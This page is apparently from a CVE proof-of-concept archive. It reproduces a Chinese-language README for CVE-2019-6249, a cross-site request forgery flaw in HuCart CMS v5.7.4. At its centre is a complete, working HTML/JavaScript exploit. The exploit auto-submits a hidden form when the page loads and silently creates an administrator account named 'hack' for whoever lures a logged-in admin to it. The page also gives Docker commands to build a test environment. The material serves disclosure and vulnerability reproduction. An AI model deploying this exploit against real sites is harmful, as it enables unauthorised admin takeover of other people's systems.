Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2019-6249 PoC — HuCart 跨站请求伪造漏洞

Source
Associated Vulnerability
Title: HuCart 跨站请求伪造漏洞 (CVE-2019-6249)
Description:An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.
Description
CVE-2019-6249 Hucart cms 复现环境
Readme
# CVE-2019-6249_Hucart cms
##  一、漏洞摘要
> 漏洞名称: Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号 \
> 上报日期: 2019-01-13 \
> 漏洞发现者: AllenChen(520allen@gmail.com) \
> 产品首页: http://www.hucart.com/ \
> 软件链接: http://www.hucart.com/ \
> 版本: v5.7.4\
> CVE编号: CVE-2019-6249\



## 二、漏洞概述
Hucart cms v5.7.4版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可增加一个名为hack的管理员账号。


## 三、利用代码
exp代码如下:
增加一个名为hack密码为hack123的管理员账号。
```
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  

var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
```

## 四、参考信息

- CVE中文申请网:http://www.iwantacve.cn/index.php/archives/109/
- CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6249
- exploit-db:https://www.exploit-db.com/exploits/46149

## 五、环境复现(Docker)
**在Docker环境中,运行以下命令**
```
docker built -t hucart -f Dockerfile .
docker run -d -p 80:80 hucart
```
#### 原创 EMail:NMTech@aliyun.com
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →